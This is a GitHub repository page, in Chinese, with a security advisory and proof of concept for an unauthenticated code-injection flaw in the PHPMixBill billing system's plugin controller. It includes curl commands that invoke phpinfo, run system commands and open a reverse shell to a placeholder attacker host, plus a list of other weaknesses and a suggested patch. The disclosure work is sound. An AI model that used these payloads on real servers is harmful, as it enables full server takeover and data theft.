Kimdir01/phpmixbill-unauth-rce-cve

GitHub: Kimdir01/phpmixbill-unauth-rce-cve

针对 PHPMixBill 计费系统 plugin controller 未授权 RCE 漏洞的概念验证代码及安全公告,附带修复建议。

Stars: 0 | Forks: 0

# GitHub 安全公告:PHPMixBill — 通过 Plugin Controller 实现的未授权远程代码执行 ## 公告信息 | 字段 | 值 | |-------|-------| | **严重性** | 严重 | | **CWE** | CWE-94 (代码注入) | | **CVSS v3.1** | 9.8 | | **CVSS 向量** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | ## 摘要 PHPMixBill (PHP Mikrotik Billing) 的 plugin controller 中存在一个未授权的远程代码执行漏洞。`plugin.php` controller 在未经过任何身份验证的情况下,直接将 URL 片段传递给 `call_user_func()`,允许攻击者执行任意 PHP 函数,包括 `system()`、`exec()` 和 `phpinfo()`。 ## 漏洞详情 ### 受影响的包/仓库 - **仓库:** `phpmixbill/phpmixbill`(或社区分支) - **受影响版本:** 所有当前版本 - **修复版本:** 无 (0-day) **Commit Hash(已审计):** `18c6cc6beb11addc4eb6d3664268098aa070e5cd` ### 描述 **根本原因:** 位于 `system/controllers/plugin.php` 的 plugin controller 处理来自用户输入的路由片段,并在没有身份验证的情况下直接将它们传递给 `call_user_func()`。至关重要的是,该 controller 没有调用 `_auth()` 或 `_admin()` —— 完全没有身份验证。 **易受攻击的代码** (`system/controllers/plugin.php`,第 3-4 行): ``` if(function_exists($routes[1])){ call_user_func($routes[1]); } ``` `$routes` 数组的内容来源于 URL 的 `_route` 参数。攻击者可以通过构造如下 URL 来调用任何全局 PHP 函数: - `GET /index.php?_route=plugin/phpinfo` → 调用 `phpinfo()` - `GET /index.php?_route=plugin/system` → 调用 `system()`(参数可控) - `GET /index.php?_route=plugin/exec` → 调用 `exec()` - `GET /index.php?_route=plugin/assert` → 调用 `assert()` ## 影响 - 通过调用 `system()`/`exec()` 实现**完整的服务器控制权** - 通过 `phpinfo()` 导致**信息泄露** - **无需身份验证** — 可从互联网直接访问 - **彻底的应用程序接管** ## 概念验证 ### 1. 验证漏洞(phpinfo 信息泄露) ``` curl "http://target.example.com/index.php?_route=plugin/phpinfo" ``` 返回完整的 PHP 配置信息。 ### 2. 远程代码执行 ``` curl "http://target.example.com/index.php?_route=plugin/system&cmd=id" ``` 在服务器上执行 `system("id")`。 ### 3. 反弹 shell ``` curl "http://target.example.com/index.php?_route=plugin/exec&cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/ATTACKER_IP/4444%200>%261'" ``` ### 发现的其他漏洞: - 客户账户的**明文密码存储**(`Password::_uverify()` 使用了 `==`) - **脆弱的 SHA1 管理员密码哈希**(`Password::_crypt()` 使用了 `sha1()`) - 安装后**安装脚本依然可以访问**(允许覆盖 config.php) - **默认管理员凭据** `admin:admin` 被记录在 `install/step5.php` 中 - 通过 SMS/WhatsApp URL 触发的 **SSRF**(对可配置的 URL 使用 `file_get_contents()`) - **Session 固定攻击**(登录后没有调用 `session_regenerate_id()`) - **PHP 对象注入**(`ORM::unserialize()` 没有类限制) - 任何 endpoint 上**均无 CSRF 保护** ## 补丁 / 修复 ### 关键修复: ``` // In system/controllers/plugin.php — Add auth check AND restrict callable functions function _plugin() { _auth(); // ADD: require authentication _admin(); // ADD: require admin $allowed = ['plugin_install', 'plugin_uninstall', 'plugin_activate']; if (in_array($routes[1], $allowed) && function_exists($routes[1])) { call_user_func($routes[1]); } } ``` ### 其他必要的修复: 1. 将管理员密码的 `sha1()` 替换为 `password_hash()` 2. 对客户密码进行哈希处理 — 切勿存储明文 3. 安装完成后删除或保护 install 目录 4. 强制更改 `admin:admin` 默认密码 5. 为所有改变状态的操作添加 CSRF token 6. 在登录后添加 `session_regenerate_id(true)` ## 披露时间线 - **2026-06-28:** 漏洞由 Fatullayev Asadbek (Kimdir01) 发现 - **待定:** 报告给维护者 - **待定:** 通过 GitHub 申请 CVE - **待定:** 发布安全公告 ## 致谢 - 发现者:Fatullayev Asadbek | GitHub: Kimdir01 - 独立安全研究员 ## 参考 - CWE-94: 代码生成控制不当 (代码注入) - CWE-306: 关键功能缺失身份验证 - CWE-256: 明文存储密码
标签:CISA项目, Go语言工具, OpenVAS, PHP, PoC, RCE, Web安全, 暴力破解, 蓝队分析